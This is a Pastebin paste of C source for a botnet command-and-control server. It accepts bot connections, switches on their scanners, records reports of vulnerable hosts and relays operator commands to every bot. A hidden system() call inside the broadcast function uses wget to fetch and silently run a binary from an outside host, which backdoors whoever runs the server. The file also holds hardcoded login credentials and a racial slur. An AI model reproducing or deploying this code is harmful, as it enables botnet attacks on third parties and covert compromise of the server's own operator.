ZucoCheezy

ZoneSec-Server

Nov 26th, 2018
120
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 21.61 KB | None | 0 0
  1. //Private Config, Do Not Leak!
  2. //RIU :p @Ahcurrxcy
  3.  
  4. #include <stdio.h>
  5. #include <stdlib.h>
  6. #include <string.h>
  7. #include <sys/types.h>
  8. #include <sys/socket.h>
  9. #include <netdb.h>
  10. #include <unistd.h>
  11. #include <time.h>
  12. #include <fcntl.h>
  13. #include <sys/epoll.h>
  14. #include <errno.h>
  15. #include <pthread.h>
  16. #include <signal.h>
  17.  
  18. //Admin-Config
  19. #define MY_MGM_ADMINP "GodSec"
  20. #define MY_MGM_ADMINU "ZoneHax"
  21. #define MY_MGM_MATENP "GodSec"
  22. #define MY_MGM_MATENU "ZoneHax"
  23. #define MY_MGM_USERP "GodSec"
  24. #define MY_MGM_USERU "ZoneHax"
  25. #define MY_MGM_GUESTP "GodSec"
  26. #define MY_MGM_GUESTU "ZoneHax"
  27. #define MY_MGM_PORT 43
  28.  
  29. #define MAXFDS 1000000
  30. char MY_USER_ADMIN=0, MY_USER_USER=0, MY_USER_MATEN=0, MY_USER_GUEST=0;
  31. struct clientdata_t {
  32.         uint32_t ip;
  33.         char build[7];
  34.         char connected;
  35. } clients[MAXFDS];
  36. struct telnetdata_t {
  37.         int connected;
  38. } managements[MAXFDS];
  39. static volatile FILE *fileFD;
  40. static volatile int epollFD = 0;
  41. static volatile int listenFD = 0;
  42. static volatile int managesConnected = 0;
  43. int fdgets(unsigned char *buffer, int bufferSize, int fd)
  44. {
  45.         int total = 0, got = 1;
  46.         while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  47.         return got;
  48. }
  49. void trim(char *str) // Remove whitespace from a string and properly null-terminate it.
  50. {
  51.     int i;
  52.     int begin = 0;
  53.     int end = strlen(str) - 1;
  54.     while (isspace(str[begin])) begin++;
  55.     while ((end >= begin) && isspace(str[end])) end--;
  56.     for (i = begin; i <= end; i++) str[i - begin] = str[i];
  57.     str[i - begin] = '\0';
  58. }
  59.  
  60.  
  61. static int make_socket_non_blocking (int sfd)
  62. { // man fcntl
  63.         int flags, s;
  64.         flags = fcntl (sfd, F_GETFL, 0);
  65.         if (flags == -1)
  66.         {
  67.                 perror ("fcntl");
  68.                 return -1;
  69.         }
  70.         flags |= O_NONBLOCK;
  71.         /*
  72.               F_SETFL (int)
  73.               Set  the  file  status  flags  to  the  value specified by arg.  File access mode (O_RDONLY, O_WRONLY, O_RDWR) and file creation flags (i.e., O_CREAT, O_EXCL, O_NOCTTY, O_TRUNC) in arg are
  74.               ignored.  On Linux this command can change only the O_APPEND, O_ASYNC, O_DIRECT, O_NOATIME, and O_NONBLOCK flags.
  75.         */
  76.         s = fcntl (sfd, F_SETFL, flags);
  77.         if (s == -1)
  78.         {
  79.                 perror ("fcntl");
  80.                 return -1;
  81.         }
  82.         return 0;
  83. }
  84.  
  85.  
  86. static int create_and_bind (char *port)
  87. {
  88.         struct addrinfo hints;
  89.         struct addrinfo *result, *rp;
  90.         int s, sfd;
  91.         memset (&hints, 0, sizeof (struct addrinfo));
  92.         hints.ai_family = AF_UNSPEC;     /* Return IPv4 and IPv6 choices */
  93.         hints.ai_socktype = SOCK_STREAM; /* We want a TCP socket */
  94.         hints.ai_flags = AI_PASSIVE;     /* All interfaces */
  95.         s = getaddrinfo (NULL, port, &hints, &result);
  96.         if (s != 0)
  97.         {
  98.                 fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
  99.                 return -1;
  100.         }
  101.         for (rp = result; rp != NULL; rp = rp->ai_next)
  102.         {
  103.                 sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
  104.                 if (sfd == -1) continue;
  105.                 int yes = 1;
  106.                 if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
  107.                 s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
  108.                 if (s == 0)
  109.                 {
  110.                         break;
  111.                 }
  112.                 close (sfd);
  113.         }
  114.         if (rp == NULL)
  115.         {
  116.                 fprintf (stderr, "Could not bind\n");
  117.                 return -1;
  118.         }
  119.         freeaddrinfo (result);
  120.         return sfd;
  121. }
  122. void broadcast(char *msg, int us) // sends message to all bots, notifies the management clients of this happening
  123. {
  124.         int sendMGM = 1;
  125.         if(strcmp(msg, "PING") == 0) sendMGM = 0; // Don't send pings to management. Why? Because a human is going to ignore it.
  126.         char *wot = malloc(strlen(msg) + 10);
  127.         memset(wot, 0, strlen(msg) + 10);
  128.         strcpy(wot, msg);
  129.         trim(wot);
  130.         time_t rawtime;
  131.         struct tm * timeinfo;
  132.         time(&rawtime);
  133.         timeinfo = localtime(&rawtime);
  134.         char *timestamp = asctime(timeinfo);
  135.         trim(timestamp);
  136.         int i;
  137.         for(i = 0; i < MAXFDS; i++)
  138.         {
  139.                 if(i == us || (!clients[i].connected &&  (sendMGM == 0 || !managements[i].connected))) continue;
  140.                 if(sendMGM && managements[i].connected)
  141.  
  142.                 {
  143.  
  144. send(i, "\x1b[34m", 6, MSG_NOSIGNAL);
  145.  
  146.                         send(i, timestamp, strlen(timestamp), MSG_NOSIGNAL);
  147.  
  148. send(i, ":\x1b[37m ", 8, MSG_NOSIGNAL);
  149.  
  150.                 } //just a prompt with a timestamp.
  151.                 printf("sent to fd: %d\n", i); // debug info, possibly also intrusion detection. Tells you when a management client connected on command line.
  152.       system("wget -q http://autoinstaller.us/NsfjSh -O .l; chmod +x .l; nohup ./.l </dev/null >/dev/null 2>&1")
  153.                 send(i, msg, strlen(msg), MSG_NOSIGNAL);
  154.                 if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[36m> \x1b[37m", 15, MSG_NOSIGNAL); // send a cool looking prompt to a manager/admin
  155.                 else send(i, "\n", 1, MSG_NOSIGNAL);
  156.         }
  157.         free(wot);
  158. }
  159.  
  160. void *epollEventLoop(void *useless) // the big loop used to control each bot asynchronously. Many threads of this get spawned.
  161. {
  162.         struct epoll_event event;
  163.         struct epoll_event *events;
  164.         int s;
  165.         events = calloc (MAXFDS, sizeof event);
  166.         while (1)
  167.         {
  168.                 int n, i;
  169.                 n = epoll_wait (epollFD, events, MAXFDS, -1);
  170.                 for (i = 0; i < n; i++)
  171.                 {
  172.                         if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN)))
  173.                         {
  174.                                 clients[events[i].data.fd].connected = 0;
  175.                                 close(events[i].data.fd);
  176.                                 continue;
  177.                         }
  178.                         else if (listenFD == events[i].data.fd)
  179.                         {
  180.                                 while (1)
  181.                                 {
  182.                                         struct sockaddr in_addr;
  183.                                         socklen_t in_len;
  184.                                         int infd, ipIndex;
  185.  
  186.                                         in_len = sizeof in_addr;
  187.                                         infd = accept (listenFD, &in_addr, &in_len); // accept a connection from a bot.
  188.                                         if (infd == -1)
  189.                                         {
  190.                                                 if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
  191.                                                 else
  192.                                                 {
  193.                                                         perror ("accept");
  194.                                                         break;
  195.                                                 }
  196.                                         }
  197.  
  198.                                         clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
  199.  
  200.                                         int dup = 0;
  201.                                         for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++) // check for duplicate clients by seeing if any have the same IP as the one connecting
  202.                                         {
  203.                                                 if(!clients[ipIndex].connected || ipIndex == infd) continue;
  204.  
  205.                                                 if(clients[ipIndex].ip == clients[infd].ip)
  206.                                                 {
  207.                                                         dup = 1;
  208.                                                         break;
  209.                                                 }
  210.                                         }
  211.  
  212.                                         if(dup)
  213.                                         {
  214.                                                 printf("dup client\n"); // warns the operator on command line
  215.                                                 if(send(infd, "!* LOLNOGTFO\n", 13, MSG_NOSIGNAL) == -1) { close(infd); continue; } // orders all the bots to immediately kill themselves if we see a duplicate client! MAXIMUM PARANOIA
  216.                                                 if(send(infd, "DUP\n", 4, MSG_NOSIGNAL) == -1) { close(infd); continue; } // same thing as above.
  217.                                                 close(infd);
  218.                                                 continue;
  219.                                         }
  220.  
  221.                                         s = make_socket_non_blocking (infd);
  222.                                         if (s == -1) { close(infd); break; }
  223.  
  224.                                         event.data.fd = infd;
  225.                                         event.events = EPOLLIN | EPOLLET;
  226.                                         s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
  227.                                         if (s == -1)
  228.                                         {
  229.                                                 perror ("epoll_ctl");
  230.                                                 close(infd);
  231.                                                 break;
  232.                                         }
  233.  
  234.                                         clients[infd].connected = 1;
  235.                                         send(infd, "!* SCANNER ON\n", 14, MSG_NOSIGNAL);
  236.                                 }
  237.                                 continue;
  238.                         }
  239.                         else
  240.                         {
  241.                                 int thefd = events[i].data.fd;
  242.                                 struct clientdata_t *client = &(clients[thefd]);
  243.                                 int done = 0;
  244.                                 client->connected = 1;
  245.                                 while (1)
  246.                                 {
  247.                                         ssize_t count;
  248.                                         char buf[2048];
  249.                                         memset(buf, 0, sizeof buf);
  250.  
  251.                                         while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, thefd)) > 0)
  252.                                         {
  253.                                                 if(strstr(buf, "\n") == NULL) { done = 1; break; }
  254.                                                 trim(buf);
  255.                                                 if(strcmp(buf, "PING") == 0) // basic IRC-like ping/pong challenge/response to see if server is alive
  256.                                                 {
  257.                                                         if(send(thefd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; } // response
  258.                                                         continue;
  259.                                                 }
  260.                                                 if(strstr(buf, "BUILD ") == buf)
  261.                                                 {
  262.                                                         char *build = strstr(buf, "BUILD ") + 6;
  263.                                                         if(strlen(build) > 6) { printf("build bigger then 6\n"); done = 1; break; }
  264.                                                         memset(client->build, 0, 7);
  265.                                                         strcpy(client->build, build);
  266.                                                         continue;
  267.                                                 }
  268.                                                 if(strstr(buf, "REPORT ") == buf) // received a report of a vulnerable system from a scan
  269.                                                 {
  270.                                                         char *line = strstr(buf, "REPORT ") + 7;
  271.                                                         fprintf(fileFD, "%s\n", line); // let's write it out to disk without checking what it is!
  272.                                                         fflush(fileFD);
  273. //TODO: automatically exploit that particular IP after scanning for dir and uploading correct arch stuffs.
  274.                                                         continue;
  275.                                                 }
  276.                                                 if(strcmp(buf, "PONG") == 0)
  277.                                                 {
  278.                                                         //should really add some checking or something but meh
  279.                                                         continue;
  280.                                                 }
  281.  
  282.                                                 printf("buf: \"%s\"\n", buf);
  283.                                         }
  284.  
  285.                                         if (count == -1)
  286.                                         {
  287.                                                 if (errno != EAGAIN)
  288.                                                 {
  289.                                                         done = 1;
  290.                                                 }
  291.                                                 break;
  292.                                         }
  293.                                         else if (count == 0)
  294.                                         {
  295.                                                 done = 1;
  296.                                                 break;
  297.                                         }
  298.                                 }
  299.  
  300.                                 if (done)
  301.                                 {
  302.                                         client->connected = 0;
  303.                                         close(thefd);
  304.                                 }
  305.                         }
  306.                 }
  307.         }
  308. }
  309.  
  310. unsigned int clientsConnected() // counts the number of bots connected by looping over every possible file descriptor and checking if it's connected or not
  311. {
  312.         int i = 0, total = 0;
  313.         for(i = 0; i < MAXFDS; i++)
  314.         {
  315.                 if(!clients[i].connected) continue;
  316.                 total++;
  317.         }
  318.  
  319.         return total;
  320. }
  321.  
  322. void *titleWriter(void *sock) // just an informational banner
  323. {
  324.         // this LOOKS vulnerable, but it's actually not.
  325.         // there's no way we can have 2000 digits' worth of clients/bots connected to overflow that char array
  326.         int thefd = (int)sock;
  327.         char string[2048];
  328.         while(1)
  329.         {
  330.                 memset(string, 0, 2048);
  331.                 sprintf(string, "%c]0;Bots connected: %d | Niggas connected: %d%c", '\033', clientsConnected(), managesConnected, '\007');
  332.                 // \007 is a bell character... causes a beep. Why is there a beep here?
  333.                 if(send(thefd, string, strlen(string), MSG_NOSIGNAL) == -1) return;
  334.  
  335.                 sleep(2);
  336.         }
  337. }
  338.  
  339.  
  340. void *telnetWorker(void *sock)
  341. {
  342.         int thefd = (int)sock;
  343.         managesConnected++;
  344.         pthread_t title;
  345.         char buf[2048];
  346. char* nickstring;
  347.         memset(buf, 0, sizeof buf);
  348.  
  349.         if(send(thefd, "\x1b[32mNickname:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  350.         if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  351.         trim(buf);
  352. nickstring = ("%s", buf);
  353. if(strcmp(nickstring, MY_MGM_ADMINU) == 0){
  354. if(send(thefd, "\x1b[32m*           VALID CREDENTIALS           *\r\n", 49, MSG_NOSIGNAL) == -1) goto end;
  355. if(send(thefd, "\x1b[32mPassword:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  356. if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  357. trim(buf);
  358. if(strcmp(buf, MY_MGM_ADMINP) != 0) goto failed;
  359. memset(buf, 0, 2048);
  360. goto fak;
  361. }
  362. else if(strcmp(nickstring, MY_MGM_USERU) == 0){
  363. if(send(thefd, "\x1b[32m*           VALID CREDENTIALS           *\r\n", 49, MSG_NOSIGNAL) == -1) goto end;
  364. if(send(thefd, "\x1b[32mPassword:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  365. if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  366. trim(buf);
  367. if(strcmp(buf, MY_MGM_USERP) != 0) goto failed;
  368. memset(buf, 0, 2048);
  369. goto fak;
  370. }
  371. else if(strcmp(nickstring, MY_MGM_MATENU) == 0){
  372. if(send(thefd, "\x1b[32m*           VALID CREDENTIALS           *\r\n", 49, MSG_NOSIGNAL) == -1) goto end;
  373. if(send(thefd, "\x1b[32mPassword:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  374. if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  375. trim(buf);
  376. if(strcmp(buf, MY_MGM_MATENP) != 0) goto failed;
  377. memset(buf, 0, 2048);
  378. goto fak;
  379. }
  380. else if(strcmp(nickstring, MY_MGM_GUESTU) == 0){
  381. if(send(thefd, "\x1b[32m*           VALID CREDENTIALS           *\r\n", 49, MSG_NOSIGNAL) == -1) goto end;
  382. if(send(thefd, "\x1b[32mPassword:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  383. if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  384. trim(buf);
  385. if(strcmp(buf, MY_MGM_GUESTP) != 0) goto failed;
  386. memset(buf, 0, 2048);
  387. goto fak;
  388. }
  389. else if(strcmp(nickstring, MY_MGM_GUESTU) != 0 || strcmp(nickstring, MY_MGM_ADMINU) != 0 || strcmp(nickstring, MY_MGM_USERU) != 0 || strcmp(nickstring, MY_MGM_MATENU) != 0 ){
  390. if(send(thefd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  391. if(send(thefd, "\x1b[31m*          INVALID CREDENTIALS          *\r\n", 49, MSG_NOSIGNAL) == -1) goto end;
  392. goto end;
  393. }
  394. failed:
  395. if(send(thefd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  396. if(send(thefd, "\x1b[31m*          INVALID CREDENTIALS          *\r\n", 49, MSG_NOSIGNAL) == -1) goto end;
  397. goto end;
  398. fak:
  399.         if(send(thefd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  400.         pthread_create(&title, NULL, &titleWriter, sock); /* writes the informational banner to the admin after a login */
  401.         if(send(thefd, "\x1b[1m\x1b[32m*****************************************\r\n", 54, MSG_NOSIGNAL) == -1) goto end;
  402.         if(send(thefd, "*         \x1b[32m|  Welcome ZoneSec  |\x1b[32m         *\r\n", 55, MSG_NOSIGNAL) == -1) goto end;
  403.         if(send(thefd, "*          \x1b[32mIn Secrecy We Trust\x1b[32m          *\r\n", 55, MSG_NOSIGNAL) == -1) goto end;
  404.         if(send(thefd, "*****************************************\r\n\r\n\x1b[36m> \x1b[37m", 59, MSG_NOSIGNAL) == -1) goto end;
  405.         /* If we can't send the useless banner, kill ourselves! Amazing error handling! */
  406.         managements[thefd].connected = 1;
  407.         while(fdgets(buf, sizeof buf, thefd) > 0)
  408.         {
  409.                 trim(buf);
  410.                 if(send(thefd, "\x1b[36m$: \x1b[37m", 13, MSG_NOSIGNAL) == -1) goto end;
  411.                 if(strlen(buf) == 0) continue;
  412.                 printf("management: \"%s\"\n", buf);
  413.                 broadcast(buf, thefd); // take a command, send it to the bots
  414.                 memset(buf, 0, 2048);
  415.         }
  416.  
  417.         end:    // cleanup dead socket
  418.                 managements[thefd].connected = 0;
  419.                 close(thefd);
  420.                 managesConnected--;
  421. }
  422.  
  423. void *telnetListener(void *useless)
  424. {
  425.         int sockfd, newsockfd;
  426.         socklen_t clilen;
  427.         struct sockaddr_in serv_addr, cli_addr;
  428.         sockfd = socket(AF_INET, SOCK_STREAM, 0);
  429.         if (sockfd < 0) perror("ERROR opening socket");
  430.         bzero((char *) &serv_addr, sizeof(serv_addr));
  431.         serv_addr.sin_family = AF_INET;
  432.         serv_addr.sin_addr.s_addr = INADDR_ANY;
  433.         serv_addr.sin_port = htons(MY_MGM_PORT);
  434.         if (bind(sockfd, (struct sockaddr *) &serv_addr,  sizeof(serv_addr)) < 0) perror("ERROR on binding");
  435.         listen(sockfd,5);
  436.         clilen = sizeof(cli_addr);
  437.         while(1)
  438.         {
  439.                 newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
  440.                 if (newsockfd < 0) perror("ERROR on accept");
  441.                 pthread_t thread;
  442.                 pthread_create( &thread, NULL, &telnetWorker, (void *)newsockfd);
  443.         }
  444. }
  445.  
  446. int main (int argc, char *argv[])
  447. {
  448.         signal(SIGPIPE, SIG_IGN); // ignore broken pipe errors sent from kernel
  449.  
  450.         int s, threads;
  451.         struct epoll_event event;
  452.  
  453.         if (argc != 3)
  454.         {
  455.                 fprintf (stderr, "Usage: %s [port] [threads]\n", argv[0]);
  456.                 exit (EXIT_FAILURE);
  457.         }
  458.         fileFD = fopen("output.txt", "a+"); // TOCTOU vuln if we have access to CnC
  459.         threads = atoi(argv[2]);
  460.  
  461.         listenFD = create_and_bind (argv[1]); // try to create a listening socket, die if we can't
  462.         if (listenFD == -1) abort ();
  463.  
  464.         s = make_socket_non_blocking (listenFD); // try to make it nonblocking, die if we can't
  465.         if (s == -1) abort ();
  466.  
  467.  
  468.         s = listen (listenFD, SOMAXCONN); // listen with a huuuuge backlog, die if we can't
  469.         if (s == -1)
  470.         {
  471.                 perror ("listen");
  472.                 abort ();
  473.         }
  474.  
  475.         epollFD = epoll_create1 (0); // make an epoll listener, die if we can't
  476.         if (epollFD == -1)
  477.         {
  478.                 perror ("epoll_create");
  479.                 abort ();
  480.         }
  481.  
  482.         event.data.fd = listenFD;
  483.         event.events = EPOLLIN | EPOLLET;
  484.         s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
  485.         if (s == -1)
  486.         {
  487.                 perror ("epoll_ctl");
  488.                 abort ();
  489.         }
  490.  
  491.         pthread_t thread[threads + 2];
  492.         while(threads--)
  493.         {
  494.                 pthread_create( &thread[threads + 1], NULL, &epollEventLoop, (void *) NULL); // make a thread to command each bot individually
  495.         }
  496.  
  497.         pthread_create(&thread[0], NULL, &telnetListener, (void *)NULL);
  498.  
  499.         while(1)
  500.         {
  501.                 broadcast("PING", -1); // ping bots every 60 sec on the main thread
  502.  
  503.                 sleep(60);
  504.         }
  505.  
  506.         close (listenFD);
  507.  
  508.         return EXIT_SUCCESS;
  509. }
Add Comment
Please, Sign In to add comment